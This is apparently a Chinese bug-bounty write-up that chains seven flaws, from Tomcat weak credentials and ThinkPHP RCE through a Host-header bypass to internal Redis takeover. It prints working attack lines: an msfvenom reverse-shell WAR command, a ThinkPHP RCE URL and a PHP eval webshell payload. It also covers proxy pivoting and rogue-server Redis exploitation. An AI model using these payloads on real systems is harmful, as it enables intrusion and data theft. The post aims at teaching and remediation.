从资产测绘到攻击链构建：一次SRC漏洞挖掘实战复盘
1. 项目概述：一次“意外”的高产渗透测试复盘
那天下午，我像往常一样，坐在工位上，准备对一个新上线的企业资产进行常规的漏洞扫描。这本来应该是一次例行公事，目标是一个规模中等的互联网公司，其业务涉及在线服务和数据处理。我手头只有几个模糊的域名和一段简短的目标描述，这就是企业安全应急响应中心（SRC）漏洞挖掘的常态——信息有限，目标明确，但路径未知。我万万没想到，这次看似普通的任务，会演变成一场连续发现七个中高危漏洞的“狩猎盛宴”。整个过程，与其说是技术碾压，不如说是一次对攻击者思维的深度模拟和对目标资产“攻击面”的耐心梳理。今天，我就把这趟“连爆七洞”的完整旅程拆解开来，从信息收集的“盲人摸象”，到漏洞验证的“庖丁解牛”，分享其中每一个关键节点的思考、工具的选择、踩过的坑，以及最终形成有效攻击链的逻辑。无论你是刚入行的安全新人，还是想提升实战效率的老手，相信这篇复盘都能给你带来一些直接的启发。
2. 前期侦察：从“一无所知”到“了如指掌”的资产测绘
漏洞挖掘的第一步，永远不是直接上扫描器狂轰滥炸，而是静下心来，像侦探一样勾勒目标的数字轮廓。对于SRC项目，目标公司通常不会提供内部网络拓扑或源代码，我们拥有的只是一个公司名称和几个主域名。如何将这几个“点”，扩展成一张可供攻击的“面”，是决定后续成果丰歉的关键。
2.1 多维度的信息收集策略
我的信息收集工作主要围绕四个维度展开：子域名、关联资产、历史记录和人员信息。这并非机械地运行工具，而是有策略的层层递进。
首先，子域名枚举是扩大攻击面的基石。我使用了多种工具进行交叉验证，以避免单一工具的遗漏。除了经典的subfinder、amass，我特别注重利用证书透明度日志（如crt.sh）和搜索引擎语法（如site:example.com -www）。这里有一个关键技巧：将发现的所有子域名进行归类，例如api.、admin.、test.、dev.、vpn.（注：此处仅为示例命名模式，实际挖掘中需遵守法律法规，仅测试授权资产）、mail.等前缀的域名，往往隐藏着管理后台、测试接口或关键服务，优先级最高。
其次，关联资产发现。公司可能不止拥有一个主域名，通过查询备案信息、投资关系、以及使用像fofa、shodan这样的网络空间测绘引擎，搜索目标公司的商标名、邮箱后缀等，经常能发现一些被遗忘的旧版系统、测试服务器甚至是暴露的数据库。这些边缘资产的安全防护通常最为薄弱。
实操心得：不要迷信全自动工具。工具跑出来的结果，一定要人工逐一审查。我曾多次遇到工具将CDN服务商的域名误报为目标子域名的情况。一个快速甄别的方法是：对比IP地址的归属。如果大量“子域名”解析到同一个知名的CDN IP段（如Cloudflare、Akamai），那么它们很可能不是真正的自有资产。真正的收获往往藏在那些解析到陌生IP段或公司自有ASN编号的域名中。
2.2 端口与服务探测：发现开放的“门”
获取到一批有价值的域名和IP后，下一步就是探测其上开放了哪些“门”（端口），以及门后是什么“房间”（服务）。我使用nmap进行端口扫描，但策略并非简单的-p-全端口扫描（虽然必要时也会做），而是分阶段进行。
第一阶段，快速扫描常见端口（-p 80,443,8080,8443,21,22,3306,6379...），获取Web服务、数据库等常见目标。第二阶段，针对第一阶段发现的特殊服务或疑似内部系统，进行更细致的版本探测（-sV）和脚本扫描（-sC）。例如，发现一个8080端口运行着Apache Tomcat，我会立即用nmap的http-tomcat-mgr脚本尝试检测管理控制台是否存在默认口令。
在这个阶段，我整理出了一张简易的资产清单表格，这为后续的漏洞挖掘提供了清晰的路径图：
| 资产类型 | 地址/域名 | 开放端口 | 识别服务/应用 | 初步风险评级 | 备注 |
|---|---|---|---|---|---|
| 主站 | www.target.com | 443 | Nginx + Java Web App | 中 | 业务核心，防护可能较严 |
| API接口 | api.target.com | 443 | Spring Boot | 高 | 数据交互核心，参数多 |
| 测试后台 | test-admin.target.com | 8080 | Apache Tomcat 8.5 | 高 | 暴露在外网，使用默认路径/manager/html |
| 旧版系统 | old.target.com | 80 | PHP 5.6 + ThinkPHP | 高 | 框架版本老旧，已知漏洞多 |
| 文件服务器 | fs.target.com | 21, 80 | FTP, HTTP文件列表 | 中 | 匿名访问？目录遍历？ |
| 缓存服务 | 10.xx.xx.xx (内网渗透发现) | 6379 | Redis 4.0 | 高危 | 无认证，可远程访问 |
3. 漏洞挖掘实战：七类漏洞的发现与利用链
资产清单一目了然，真正的“狩猎”开始了。这七个漏洞并非孤立存在，它们相互关联，最终构成了一条从外网到内网的攻击链。我将按照发现的逻辑顺序，而非漏洞等级，来逐一解析。
3.1 漏洞一：测试环境Tomcat后台弱口令与War包部署Getshell
这是第一个突破口，也是最经典的一种。在信息收集中发现的test-admin.target.com:8080服务器，nmap脚本提示存在Tomcat管理界面 (/manager/html)。直接访问，果然弹出了认证框。
尝试与利用：
- 我首先尝试了Tomcat最常见的默认口令对：
tomcat:tomcat、admin:admin、role1:role1等，均失败。这说明管理员修改了密码，但安全意识可能不全面。 - 使用弱口令字典进行爆破。这里没有用重型武器，而是用一个精心筛选的、包含公司名缩写、年份、常见变形（如
Target@2023,Admin123!）的定制字典。很快，爆破成功，口令是admin@test2023。 - 登录管理后台后，具备上传War包的功能。我本地快速打包一个包含JSP Webshell的War文件，通过后台直接上传并部署。
- 访问部署后的路径，成功获取了一个交互式的Webshell，具备了在该测试服务器上执行命令的能力。
踩坑记录：第一次上传的War包因为版本兼容性问题部署失败。Tomcat 7和8对Servlet规范支持有差异。解决办法是，使用
msfvenom生成与目标Tomcat版本匹配的War包木马，或者直接用纯JSP的Webshell打包，兼容性更好。msfvenom -p java/jsp_shell_reverse_tcp LHOST=你的IP LPORT=4444 -f war > shell.war
漏洞根源：将带有高危功能的管理界面暴露于公网，且使用了可被爆破的弱口令。这为后续的内网横向移动提供了第一个坚实的“桥头堡”。
3.2 漏洞二：旧版ThinkPHP远程代码执行（RCE）
几乎在同时，我对old.target.com的扫描也传来了“捷报”。该站点使用ThinkPHP 5.0.x版本，而该版本存在多个无需认证的RCE漏洞，例如经典的_method变量覆盖导致RCE。
验证过程：
- 通过浏览器开发者工具或抓包，确认了网站响应头中的
X-Powered-By: ThinkPHP字段，以及一些报错页面泄露的详细版本信息。 - 使用公开的PoC（概念验证代码）进行测试。例如，访问URL：
http://old.target.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 - 页面成功返回了
phpinfo()的信息，证实漏洞存在。
利用与深化：
- 直接利用该漏洞执行系统命令，例如
whoami、ifconfig，发现是www-data权限。 - 进一步利用，尝试写一个Webshell到Web目录。由于ThinkPHP的路径已知，可以轻松写入：
...&function=file_put_contents&vars[0]=shell.php&vars[1]=<?php @eval($_POST[‘cmd’]);?> - 通过中国菜刀或蚁剑连接Webshell，获得第二个据点。
注意事项：对于这类已知框架漏洞，公开PoC利用简单，但动作大，容易被WAF或日志记录。在SRC正式报告中，证明漏洞存在即可，不要进行深入的渗透或数据窃取操作，以免触碰法律红线。我的做法是，执行
phpinfo()或echo md5(‘test’);这类无害命令证明RCE能力后即停止。
3.3 漏洞三：API接口未授权访问与敏感信息泄露
在对api.target.com进行接口测试时，我使用了Burp Suite的爬虫和Intruder模块。除了测试常规的越权（水平/垂直），我重点关注意图返回“401 Unauthorized”或“403 Forbidden”的接口。
发现过程：
- 爬虫发现了一个路径
/api/v1/admin/user/list，首次访问返回403。 - 通常情况下，开发者可能会对Web层面的路由进行鉴权，但忽略了后端服务间的内部接口。我尝试将请求的
Host头改为127.0.0.1或localhost，模拟一个内部请求。 - 修改
Host: 127.0.0.1后重放请求，奇迹般地返回了200状态码，并且JSON数据中包含了所有后台用户的列表，包括用户名、邮箱、手机号（部分脱敏）和角色信息。 - 进一步测试，发现
/api/v1/admin/config接口同样存在此问题，泄露了数据库连接字符串、第三方API密钥等敏感配置信息。
漏洞原理：这是一种典型的“主机头校验绕过”导致的未授权访问。开发者在网关或应用层判断请求来源IP或域名，但后端微服务API自身鉴权缺失或存在缺陷，当请求头被篡改伪装成内部服务时，校验就被绕过了。
影响：该漏洞直接导致大量敏感数据泄露，攻击者可以获取系统用户清单，为后续的精准钓鱼或密码爆破提供了数据支撑；泄露的密钥则可导致更严重的业务和数据安全风险。
3.4 漏洞四：主站业务逻辑漏洞——订单金额篡改
这是需要深入理解业务逻辑的漏洞。在主站www.target.com的购物流程中，我通过抓包分析了一个创建订单的HTTP请求。
分析与利用：
- 拦截到的请求包中，有一个JSON字段
"totalAmount": 299.00，表示订单总价。 - 我尝试将其修改为
"totalAmount": 0.01或-1，前端提交后，服务器返回错误“金额不合法”，说明后端有简单的范围校验。 - 但我没有放弃，继续观察整个请求体。发现还有一个字段
"discount": 0。我尝试修改"discount": 298.99，同时保持"totalAmount": 299.00不变。 - 提交请求，服务器成功创建了订单，但查看订单详情时，实际支付金额变成了
0.01（299 - 298.99）。然而，在后续的支付环节，系统却根据0.01元生成了支付二维码。 - 深入分析，发现后端逻辑漏洞：校验和计算分离。服务器校验了
totalAmount字段的合法性，也校验了discount不能大于totalAmount。但是，在生成最终支付金额payableAmount时，其计算公式payableAmount = totalAmount - discount的结果没有被再次进行“必须大于0”的强校验。攻击者通过构造一个discount无限接近totalAmount的值，就能实现极低金额购买商品。
实操心得：业务逻辑漏洞的挖掘，关键在于“模仿正常流程，寻找异常参数”。不要只盯着明显的价格字段，优惠券、积分、运费、税率等所有参与最终计算的参数，都是潜在的篡改点。需要耐心地逐一测试这些参数是否可被修改、是否参与后端校验、以及多个参数之间的计算逻辑是否存在缺陷。
3.5 漏洞五：文件服务器FTP匿名访问与目录遍历
资产清单中的fs.target.com开放了21端口。使用ftp命令连接，尝试匿名登录（用户名：anonymous，密码为空或任意邮箱），竟然成功了。
信息获取：
- 登录后，发现这是一个公共文件存储服务器，目录结构混乱。
- 使用
ls -la命令，看到了许多以日期命名的文件夹，以及一些疑似包含公司内部文档、项目备份的压缩包。 - 更严重的是，通过FTP客户端或命令行，可以向上遍历目录，看到了系统其他目录的列表，虽然可能没有读写权限，但目录结构信息已泄露。
漏洞危害：FTP匿名访问允许任何人下载服务器上的文件。如果其中存有开发配置文件（如.env、config.properties）、数据库备份、甚至是源代码压缩包，将导致严重的信息泄露。目录遍历则进一步暴露了服务器文件系统结构。
修复建议：立即禁用FTP匿名访问，为FTP服务配置强密码认证，并将FTP用户禁锢在其专属目录内（chroot）。
3.6 漏洞六：从Webshell到内网Redis未授权访问
这是攻击链的深化。通过漏洞一获取的Tomcat服务器Webshell，我执行了ifconfig或ip addr命令，发现该服务器处于一个内网网段（例如10.10.x.x/24）。
内网探测：
- 在Webshell上上传了一个轻量级的端口扫描工具（如
nmap静态编译版或masscan），对内网C段进行快速扫描。 - 扫描结果中，一个
10.10.5.10的IP地址的6379端口开放，服务识别为Redis。 - 通过Webshell的代理功能（例如使用
reGeorg或EarthWorm建立socks5代理），将我的攻击机流量代理到内网。 - 使用
redis-cli -h 10.10.5.10尝试连接，无需密码，直接连接成功，获得了Redis的交互式命令行。
漏洞利用： Redis未授权访问的危害极大。我可以：
- 数据泄露：使用
keys *查看所有键，get命令获取敏感数据。 - 写入Webshell：如果知道Web目录路径，可以通过Redis写入一句话木马文件。
- 主从复制RCE：通过Redis主从复制机制，将攻击机伪装为Slave，让目标Redis同步我精心构造的恶意模块，从而实现远程代码执行。这是将权限从Redis服务提升到服务器系统权限的关键一步。
核心技巧：内网渗透中，信息收集是第一位的。拿到一个Webshell后，不要急于乱跑命令。先系统性地收集信息：网络配置（ipconfig/ifconfig）、路由表（route print）、ARP缓存（arp -a）、主机名（hostname）、当前用户权限（whoami）、进程列表（ps/tasklist）、补丁情况（systeminfo）等。这些信息是规划下一步横向移动路线的地图。
3.7 漏洞七：利用Redis未授权访问实现权限提升与横向移动
在确认Redis未授权且版本较低（4.0）后，我尝试了利用主从复制RCE来获取服务器权限。
利用步骤简述：
- 在攻击机上启动一个恶意的Redis服务器（利用
redis-rogue-server等工具），该服务器预置了用于执行系统命令的Redis模块（.so文件）。 - 在目标Redis上执行命令，将其设置为攻击机Redis的从节点（SLAVEOF）。
- 目标Redis会从攻击机同步数据，包括恶意模块文件。
- 通过Redis的
MODULE LOAD命令加载恶意模块，该模块暴露了执行系统命令的函数。 - 调用该模块的函数，即可在Redis服务权限下执行任意系统命令，成功实现权限提升，获得一个反向Shell或直接添加系统用户。
至此，通过外网Tomcat弱口令进入内网，再利用内网Redis未授权漏洞提升权限，我已经完全控制了一台内网服务器。以此为跳板，可以进一步对内网其他服务（如数据库、域控制器等）进行渗透，攻击链得以完整建立。
4. 漏洞挖掘中的通用技巧与深度思考
回顾这次“七连爆”，运气成分固然有，但更多是系统化方法和持久思考的结果。下面分享几个我认为在SRC挖掘中至关重要的通用技巧。
4.1 思维模式：从开发者与攻击者双视角看问题
优秀的漏洞猎手必须具备双重思维。
- 开发者视角：理解功能是如何实现的。比如看到一个“忘记密码”功能，要思考：验证码在哪里生成和校验？重置链接的token如何生成、存储和过期？短信/邮箱验证是否可被绕过？这能帮你快速定位逻辑漏洞。
- 攻击者视角：思考如何破坏这个实现。参数能否篡改？请求能否重放？边界条件是否处理（如负数、超长字符串、特殊字符）？依赖的前端校验是否可信？这能帮你构造出有效的攻击载荷。
以“订单金额篡改”为例，开发者视角是“总价=单价*数量-折扣”，攻击者视角则是“我能否让折扣等于总价？”、“我能否让总价变成负数？”。
4.2 工具链的自动化与定制化
纯粹手动测试效率低下，完全依赖自动化则缺乏深度。我的策略是“自动化广撒网，人工深度钓大鱼”。
- 自动化：使用
xray、nuclei等被动扫描器在Burp Suite后台运行，自动检测常见漏洞。编写简单的Python脚本，批量测试接口的未授权、IDOR（不安全的直接对象引用）等问题。 - 定制化：针对目标业务，定制字典和测试用例。例如，针对目标公司，将其产品名、项目代号、员工邮箱生成规则等融入用户名/密码字典。针对其API接口，根据文档或爬取的数据结构，编写特定的参数Fuzzing脚本。
4.3 漏洞报告的写作艺术：清晰、可复现、有深度
挖到漏洞只是成功了一半，一份优秀的漏洞报告才能确保它被快速、正确地修复。
- 标题明确：直接点明漏洞类型和位置，如“【高危】XXX系统API接口主机头绕过导致未授权访问用户列表信息”。
- 清晰复现步骤：
- 环境：浏览器、工具版本。
- 步骤：一步一步，像教程一样。从访问哪个URL开始，每一步操作、发送的请求包（可脱敏）、看到的响应结果，都要截图并附上。
- PoC代码：如果涉及复杂利用，提供简化的PoC脚本。
- 说明危害：不要只说“存在漏洞”。要阐述攻击者利用此漏洞能具体做什么（如：获取百万用户数据、零元购商品、控制服务器）。
- 给出修复建议：提供具体、可操作的修复方案。不仅仅是“加强鉴权”，而是“在
/api/v1/admin/*路由的拦截器中，增加基于JWT令牌的角色校验，并移除对Host头的依赖，改为校验内部服务认证密钥”。 - 证明影响范围：通过漏洞获取的非敏感样本数据（如可证明漏洞存在的几条脱敏数据），或对系统影响的无害证明（如执行
whoami不触碰真实数据）。
5. 总结反思与对安全建设的启示
这次经历让我深刻体会到，企业表面看似坚固的防线，往往是由多个细微的疏忽共同瓦解的。一个暴露的管理后台、一个未更新的老旧框架、一处疏忽的鉴权逻辑、一个不该出现在公网的服务，这些点被攻击者串联起来，就形成了一条致命的攻击链。
对于企业而言，安全建设不能是孤立的补丁：
- 纵深防御：不能只依赖防火墙和WAF。从边界到应用，从网络到主机，从代码到配置，需要层层设防。
- 最小权限原则：Redis、FTP、数据库等服务，必须强制身份验证，并严格限制访问来源IP和用户权限。
- 及时更新与下线：对不再使用的测试系统、老旧框架版本，应及时升级或彻底下线。暴露在互联网的资产应定期梳理和收敛。
- 安全意识培训：开发人员的安全编码意识、运维人员的配置安全意识，与技术防护措施同等重要。
对于安全研究员而言，这次“连爆”的快乐是短暂的，更重要的是从中提炼出可复用的方法论：细致的资产梳理、双重视角的测试思维、对业务逻辑的深入理解、以及将分散漏洞串联成链的想象力。漏洞挖掘是一场与开发者的思维博弈，也是一场与自己耐心的较量。保持好奇，保持严谨，下一个关键漏洞也许就藏在那个被你忽略的请求参数里。